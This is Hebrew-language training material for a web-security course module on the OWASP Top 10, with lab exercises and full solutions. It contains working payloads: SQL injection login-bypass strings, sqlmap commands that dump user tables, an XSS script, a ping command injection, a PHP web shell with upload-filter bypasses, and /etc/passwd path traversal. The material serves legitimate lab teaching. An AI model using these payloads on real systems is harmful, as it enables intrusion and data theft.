

מודול 9 — אבטחת OWASP Web (Top 10 — תרגילים ופתרונות)

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 9: אבטחת Web (OWASP Top 10)

2.  פתרונות מלאים — מודול 9: אבטחת Web

🎯 תרגילים — מודול 9: אבטחת (OWASP Top 10) Web

⚠️ רק על סביבות תרגול חוקיות — DVWA, OWASP Juice Shop או PortSwigger Academy. לעולם לא על אתר אמיתי ללא רשות. פתרונות ב- [solutions.md](#).

מקרא רמות: קל • בינוני • מתקדם • אתגר

חלק א' — הקמה והיכרות (●)

9.1 — הקם את (Docker) **OWASP Juice Shop** או **DVWA**, וודא שאתה מגיע אליו בדפדפן.

9.2 — הגדר את **Burp Suite** כ-Proxy, ולכוד בקשת התחברות אחת. זהה את הפרמטרים (user/pass).

9.3 — שלח את הבקשה שנתפסה ל-**Repeater** ושלח אותה מחדש. שנה ערך אחד וראה את השינוי בתגובה.

חלק ב' — Injection (●●)

9.4 — **SQL Injection**: בטופס התחברות פגיע, עקוף את ההתחברות עם `-- ' OR '1'='1' --`. הסבר מדוע זה עובד.

9.5 — **SQLi עם sqlmap**: מצא פרמטר פגיע (למשל `?id=1`), והרץ sqlmap כדי לשלוף את רשימת בסיסי הנתונים ואז את טבלת המשתמשים.

9.6 — **XSS**: בשדה קלט פגיע, הזרק `<script>alert('XSS')</script>`. האם זה Reflected או Stored? כיצד קבעת?

9.7 — **Command Injection**: בדף שמבצע ping, הזרק `127.0.0.1; whoami`. מה קיבלת, ומדוע זו חולשה חמורה?

חלק ג' — Upload ו-Access Control (●● מתקדם)

9.8 — **IDOR**: מצא URL עם מזהה (למשל `?id=1`), שנה את המספר, ובדוק אם אתה ניגש לנתונים של משתמש אחר.

9.9 — **File Upload**: נסה להעלות Web Shell פשוט (`<?php system($_GET['cmd']); ?>`). אם יש סינון — נסה עקיפה (shell.php.jpg / שינוי Content-Type ב-Burp). הרץ `whoami` דרכו.

● אתגר מסכם — “בדיקת Web מלאה על Juice Shop”

בצע בדיקת אבטחת web מובנית על **OWASP Juice Shop** ומצא לפחות **4 חולשות** מקטגוריות שונות:

1. **מיפוי:** מפה את האפליקציה (דפים, פרמטרים, נקודות קלט) עם Burp.
2. **מצא ונצל** לפחות אחת מכל: **Broken Access Control**, **Injection** (SQLi/XSS), **IDOR** (גישת admin), ועוד שתיים לבחירתך.
3. **תעד כל ממצא** בפורמט דוח: כותרת, חומרה (CVSS), תיאור, **PoC** (צעדים + צילום מסך), והמלצת תיקון.
4. **סיכום:** דרג את הממצאים לפי חומרה — מה הכי קריטי, ולמה?

📌 זהו דוח בדיקת Web אמיתי — בדיוק מה שמגישים ללקוח / בתוכנית Bug Bounty. שמור אותו לתיק העבודות שלך.

✅ רשימת בקרה — לפני מעבר למודול 10

- ☐ אני מבין כיצד עובדת אפליקציית Web ומשתמש ב-Burp (Proxy/Repeater)
- ☐ אני מבצע SQL Injection ידני ואוטומטי (sqlmap)
- ☐ אני מזהה ומנצל XSS (Reflected/Stored)
- ☐ אני מבצע Command Injection ומבין שזה RCE
- ☐ אני מוצא IDOR ובעיות Broken Access Control
- ☐ אני מנצל File Upload / LFI
- ☐ אני יודע להמליץ הגנות (Prepared Statements, Encoding, בקרת גישה)

פתרונות מלאים: `solutions.md`

✅ פתרונות מלאים — מודול 9: אבטחת Web

נסה לבד ב- `missions.md` קודם. כל הפעולות על סביבות תרגול חוקיות בלבד.

חלק א' — הקמה והיכרות

9.1

```
sudo docker run -d -p 3000:3000 bkimminich/juice-shop
# גלוש ל http://localhost:3000
```

9.2 — Firefox ; Proxy → Intercept on Burp: עם Proxy 127.0.0.1:8080 . בצע התחברות —
הבקשה תיתפס עם הפרמטרים password / email (Juice Shop) או password / username (DVWA).

9.3 — לחץ ימני על הבקשה → **Send to Repeater** → לשונית Repeater → שנה ערך → **Send** . תגובת
השרת מתעדכנת — כך בודקים ידנית.

חלק ב' — Injection

9.4 — בשדה המשתמש הזן ' OR '1'='1' -- (סיסמה כלשהי). **למה זה עובד:** השאילתה הופכת
ל- '... ' -- '1'='1' OR '1'='1' -- . SELECT * FROM users WHERE username=' ' התנאי '1'='1' תמיד
אמת, וה- -- מבטל את בדיקת הסיסמה → מתחברים כמשתמש הראשון (לרוב admin).

9.5

```
sqlmap -u "http://target/rest/products/search?q=1" --batch --dbs
sqlmap -u "http://target/..." -D <db> --tables
sqlmap -u "http://target/..." -D <db> -T Users --dump
# Burp: או מבקשה שנשמרה מ
sqlmap -r request.txt --batch --dump
```

9.6 — הזרקת <script>alert('XSS')</script> : - אם ה-alert קופץ **מיד** אחרי השליחה בלבד
(בתגובה שלך) → **Reflected** . - אם הוא נשמר ומופיע **בכל פעם שטוענים את הדף** (וגם למשתמשים אחרים)
→ **Stored** . קובעים לפי האם ה-payload נשמר בשרת.

9.7 — קלט whoami 127.0.0.1; בדף ה-ping מחזיר את פלט ה-ping **וגם** את שם המשתמש (-www)
(data). **למה חמור:** זו הרצת פקודות מרחוק (**RCE**) — אפשר להריץ cat /etc/passwd , להוריד Reverse
Shell, ולהשתלט על השרת.

חלק ג' — Upload Access Control

9.8 — שנה `?id=1` ל- `?id=2` (וכו'). אם אתה רואה נתונים של משתמש אחר — זו **IDOR**. הפתרון בצד המפתח: בדיקת הרשאה בשרת שהמשאב שייך למשתמש המחובר.

9.9

```
<?php system($_GET['cmd']); ?>
```

העלה כ- `shell.php`. אם נחסם: נסה `shell.php.jpg`, `shell.php`, או שנה את `Content-Type` ל- `image/jpeg` ב-Burp. גישה: `http://site/uploads/shell.php?cmd=whoami` → **RCE**.

9.10 — `?file=../../../../etc/passwd` מחזיר את תוכן `/etc/passwd` (רשימת המשתמשים) → **LFI**. מאשש שהאפליקציה כוללת קבצים לפי קלט לא מסונן.

אתגר מסכם — מבנה דוח לדוגמה

דוח בדיקת Web – OWASP Juice Shop

Critical: בחיפוש מוצרים – חומרה SQL Injection: ממצא 1
hashes. כולל Users שלף את טבלת sqlmap. PoC: `SQLi`-פגיע ל q תיאור: פרמטר
תיקון: Prepared Statements / ORM.

High: חומרה – (admin גישה) Broken Access Control: ממצא 2
admin. ללא הרשאת `administration` -תיאור: ניתן להגיע ל
PoC: תיקון: בדיקת הרשאה בצד השרת. [צילום מסך].

High: בביקורות – חומרה Stored XSS: ממצא 3
נשמרת ורצה לכל צופה `<script>` תיאור: תגובה עם
תיקון: Output Encoding + CSP.

Medium: בסל הקניות – חומרה IDOR: ממצא 4
חושף סל של משתמש אחר id תיאור: שינוי
תיקון: אימות בעלות על המשאב.

סיכום
לתיקון מיידי. (חשיפת מסד הנתונים כולו) `SQLi`-הקריטי ביותר: ה

עברת? יש לך דוח Web אמיתי לתיק העבודות. המשך למודול 10.